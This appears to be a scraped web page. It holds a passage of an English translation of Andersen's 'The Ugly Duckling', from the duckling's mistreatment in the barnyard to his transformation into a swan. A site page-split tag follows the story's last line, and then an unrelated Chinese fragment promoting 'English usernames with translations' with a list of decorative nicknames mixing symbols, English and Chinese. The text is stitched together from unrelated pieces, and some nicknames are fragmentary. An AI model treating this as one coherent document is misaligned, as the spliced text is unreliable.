"Possibly not," said the duck who bit him, "but he's too big and strange, and therefore he needs a good whacking."
"What nice-looking children you have, Mother," said the old duck with the rag around her leg. "They are all pretty except that one. He didn't come out so well. It's a pity you can't hatch him again."
"That can't be managed, your ladyship," said the mother. "He isn't so handsome, but he's as good as can be, and he swims just as well as the rest, or, I should say, even a little better than they do. I hope his looks will improve with age, and after a while he won't seem so big. He took too long in the egg, and that's why his figure isn't all that it should be." She pinched his neck and preened his feathers. "Moreover, he's a drake, so it won't matter so much. I think he will be quite strong, and I'm sure he will amount to something."
"The other ducklings are pretty enough," said the old duck. "Now make yourselves right at home, and if you find an eel's head you may bring it to me."
So they felt quite at home. But the poor duckling who had been the last one out of his egg, and who looked so ugly, was pecked and pushed about and made fun of by the ducks, and the chickens as well. "He's too big," said they all. The turkey gobbler, who thought himself an emperor because he was born wearing spurs, puffed up like a ship under full sail and bore down upon him, gobbling and gobbling until he was red in the face. The poor duckling did not know where he dared stand or where he dared walk. He was so sad because he was so desperately ugly, and because he was the laughing stock of the whole barnyard.
So it went on the first day, and after that things went from bad to worse. The poor duckling was chased and buffeted about by everyone. Even his own brothers and sisters abused him. "Oh," they would always say, "how we wish the cat would catch you, you ugly thing." And his mother said, "How I do wish you were miles away." The ducks nipped him, and the hens pecked him, and the girl who fed them kicked him with her foot.
So he ran away; and he flew over the fence. The little birds in the bushes darted up in a fright. "That's because I'm so ugly," he thought, and closed his eyes, but he ran on just the same until he reached the great marsh where the wild ducks lived. There he lay all night long, weary and disheartened.
When morning came, the wild ducks flew up to have a look at their new companion. "What sort of creature are you?" they asked, as the duckling turned in all directions, bowing his best to them all. "You are terribly ugly," they told him, "but that's nothing to us so long as you don't marry into our family."
Poor duckling! Marriage certainly had never entered his mind. All he wanted was for them to let him lie among the reeds and drink a little water from the marsh.
There he stayed for two whole days. Then he met two wild geese, or rather wild ganders-for they were males. They had not been out of the shell very long, and that's what made them so sure of themselves.
"Say there, comrade," they said, "you're so ugly that we have taken a fancy to you. Come with us and be a bird of passage. In another marsh near-by, there are some fetching wild geese, all nice young ladies who know how to quack. You are so ugly that you'll completely turn their heads."
Bing! Bang! Shots rang in the air, and these two ganders fell dead among the reeds. The water was red with their blood. Bing! Bang! the shots rang, and as whole flocks of wild geese flew up from the reeds another volley crashed. A great hunt was in progress. The hunters lay under cover all around the marsh, and some even perched on branches of trees that overhung the reeds. Blue smoke rose like clouds from the shade of the trees, and drifted far out over the water.
The bird dogs came splash, splash! through the swamp, bending down the reeds and the rushes on every side. This gave the poor duckling such a fright that he twisted his head about to hide it under his wing. But at that very moment a fearfully big dog appeared right beside him. His tongue lolled out of his mouth and his wicked eyes glared horribly. He opened his wide jaws, flashed his sharp teeth, and - splash, splash - on he went without touching the duckling.
"Thank heavens," he sighed, "I'm so ugly that the dog won't even bother to bite me."
He lay perfectly still, while the bullets splattered through the reeds as shot after shot was fired. It was late in the day before things became quiet again, and even then the poor duckling didn't dare move. He waited several hours before he ventured to look about him, and then he scurried away from that marsh as fast as he could go. He ran across field and meadows. The wind was so strong that he had to struggle to keep his feet.
Late in the evening he came to a miserable little hovel, so ramshackle that it did not know which way to tumble, and that was the only reason it still stood. The wind struck the duckling so hard that the poor little fellow had to sit down on his tail to withstand it. The storm blew stronger and stronger, but the duckling noticed that one hinge had come loose and the door hung so crooked that he could squeeze through the crack into the room, and that's just what he did.
Here lived an old woman with her cat and her hen. The cat, whom she called "Sonny," could arch his back, purr, and even make sparks, though for that you had to stroke his fur the wrong way. The hen had short little legs, so she was called "Chickey Shortleg." She laid good eggs, and the old woman loved her as if she had been her own child.
In the morning they were quick to notice the strange duckling. The cat began to purr, and the hen began to cluck.
"What on earth!" The old woman looked around, but she was short-sighted, and she mistook the duckling for a fat duck that had lost its way. "That was a good catch," she said. "Now I shall have duck eggs-unless it's a drake. We must try it out." So the duckling was tried out for three weeks, but not one egg did he lay.
In this house the cat was master and the hen was mistress. They always said, "We and the world," for they thought themselves half of the world, and much the better half at that. The duckling thought that there might be more than one way of thinking, but the hen would not hear of it.
"Can you lay eggs?" she asked
"No."
"Then be so good as to hold your tongue."
The cat asked, "Can you arch your back, purr, or make sparks?"
"No."
"Then keep your opinion to yourself when sensible people are talking."
The duckling sat in a corner, feeling most despondent. Then he remembered the fresh air and the sunlight. Such a desire to go swimming on the water possessed him that he could not help telling the hen about it.
"What on earth has come over you?" the hen cried. "You haven't a thing to do, and that's why you get such silly notions. Lay us an egg, or learn to purr, and you'll get over it."
"But it's so refreshing to float on the water," said the duckling, "so refreshing to feel it rise over your head as you dive to the bottom."
"Yes, it must be a great pleasure!" said the hen. "I think you must have gone crazy. Ask the cat, who's the wisest fellow I know, whether he likes to swim or dive down in the water. Of myself I say nothing. But ask the old woman, our mistress. There's no one on earth wiser than she is. Do you imagine she wants to go swimming and feel the water rise over her head?"
"You don't understand me," said the duckling.
"Well, if we don't, who would? Surely you don't think you are cleverer than the cat and the old woman-to say nothing of myself. Don't be so conceited, child. Just thank your Maker for all the kindness we have shown you. Didn't you get into this snug room, and fall in with people who can tell you what's what? But you are such a numbskull that it's no pleasure to have you around. Believe me, I tell you this for your own good. I say unpleasant truths, but that's the only way you can know who are your friends. Be sure now that you lay some eggs. See to it that you learn to purr or to make sparks."
"I think I'd better go out into the wide world," said the duckling.
"Suit yourself," said the hen.
So off went the duckling. He swam on the water, and dived down in it, but still he was slighted by every living creature because of his ugliness.
Autumn came on. The leaves in the forest turned yellow and brown. The wind took them and whirled them about. The heavens looked cold as the low clouds hung heavy with snow and hail. Perched on the fence, the raven screamed, "Caw, caw!" and trembled with cold. It made one shiver to think of it. Pity the poor little duckling!
One evening, just as the sun was setting in splendor, a great flock of large, handsome birds appeared out of the reeds. The duckling had never seen birds so beautiful. They were dazzling white, with long graceful necks. They were swans. They uttered a very strange cry as they unfurled their magnificent wings to fly from this cold land, away to warmer countries and to open waters. They went up so high, so very high, that the ugly little duckling felt a strange uneasiness come over him as he watched them. He went around and round in the water, like a wheel. He craned his neck to follow their course, and gave a cry so shrill and strange that he frightened himself. Oh! He could not forget them-those splendid, happy birds. When he could no longer see them he dived to the very bottom. and when he came up again he was quite beside himself. He did not know what birds they were or whither they were bound, yet he loved them more than anything he had ever loved before. It was not that he envied them, for how could he ever dare dream of wanting their marvelous beauty for himself? He would have been grateful if only the ducks would have tolerated him-the poor ugly creature.
The winter grew cold - so bitterly cold that the duckling had to swim to and fro in the water to keep it from freezing over. But every night the hole in which he swam kept getting smaller and smaller. Then it froze so hard that the duckling had to paddle continuously to keep the crackling ice from closing in upon him. At last, too tired to move, he was frozen fast in the ice.
Early that morning a farmer came by, and when he saw how things were he went out on the pond, broke away the ice with his wooden shoe, and carried the duckling home to his wife. There the duckling revived, but when the children wished to play with him he thought they meant to hurt him. Terrified, he fluttered into the milk pail, splashing the whole room with milk. The woman shrieked and threw up her hands as he flew into the butter tub, and then in and out of the meal barrel. Imagine what he looked like now! The woman screamed and lashed out at him with the fire tongs. The children tumbled over each other as they tried to catch him, and they laughed and they shouted. Luckily the door was open, and the duckling escaped through it into the bushes, where he lay down, in the newly fallen snow, as if in a daze.
But it would be too sad to tell of all the hardships and wretchedness he had to endure during this cruel winter. When the warm sun shone once more, the duckling was still alive among the reeds of the marsh. The larks began to sing again. It was beautiful springtime.
Then, quite suddenly, he lifted his wings. They swept through the air much more strongly than before, and their powerful strokes carried him far. Before he quite knew what was happening, he found himself in a great garden where apple trees bloomed. The lilacs filled the air with sweet scent and hung in clusters from long, green branches that bent over a winding stream. Oh, but it was lovely here in the freshness of spring!
From the thicket before him came three lovely white swans. They ruffled their feathers and swam lightly in the stream. The duckling recognized these noble creatures, and a strange feeling of sadness came upon him.
"I shall fly near these royal birds, and they will peck me to bits because I, who am so very ugly, dare to go near them. But I don't care. Better be killed by them than to be nipped by the ducks, pecked by the hens, kicked about by the hen-yard girl, or suffer such misery in winter."
So he flew into the water and swam toward the splendid swans. They saw him, and swept down upon him with their rustling feathers raised. "Kill me!" said the poor creature, and he bowed his head down over the water to wait for death. But what did he see there, mirrored in the clear stream? He beheld his own image, and it was no longer the reflection of a clumsy, dirty, gray bird, ugly and offensive. He himself was a swan! Being born in a duck yard does not matter, if only you are hatched from a swan's egg.
He felt quite glad that he had come through so much trouble and misfortune, for now he had a fuller understanding of his own good fortune, and of beauty when he met with it. The great swans swam all around him and stroked him with their bills.
Several little children came into the garden to throw grain and bits of bread upon the water. The smallest child cried, "Here's a new one," and the others rejoiced, "yes, a new one has come." They clapped their hands, danced around, and ran to bring their father and mother.
And they threw bread and cake upon the water, while they all agreed, "The new one is the most handsome of all. He's so young and so good-looking." The old swans bowed in his honor.
Then he felt very bashful, and tucked his head under his wing. He did not know what this was all about. He felt so very happy, but he wasn't at all proud, for a good heart never grows proud. He thought about how he had been persecuted and scorned, and now he heard them all call him the most beautiful of all beautiful birds. The lilacs dipped their clusters into the stream before him, and the sun shone so warm and so heartening. He rustled his feathers and held his slender neck high, as he cried out with full heart: "I never dreamed there could be so much happiness, when I was the ugly duckling."#p#副标题#e#
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想给自己找一个好看的带翻译的英文网名吗?下面读文网小编为大带来好看的英文网名带翻译,希望大家喜欢!
゛Memor°情若寒ご
嘲笑°oneself
Passerby 过路人
Animai°情兽
北纬scenery┃
妖媚□Sunshine
幻灭The pupL▎
Be shallow. 浅浅
矢心 Hor2°
浮华之海Photogra
窒息旳痛,Scott。
Johnathon 水星
Kolten 莫尔滕
Wayne 韦恩
Zain 扎因
Rayan 拉扬
Keenan 基南
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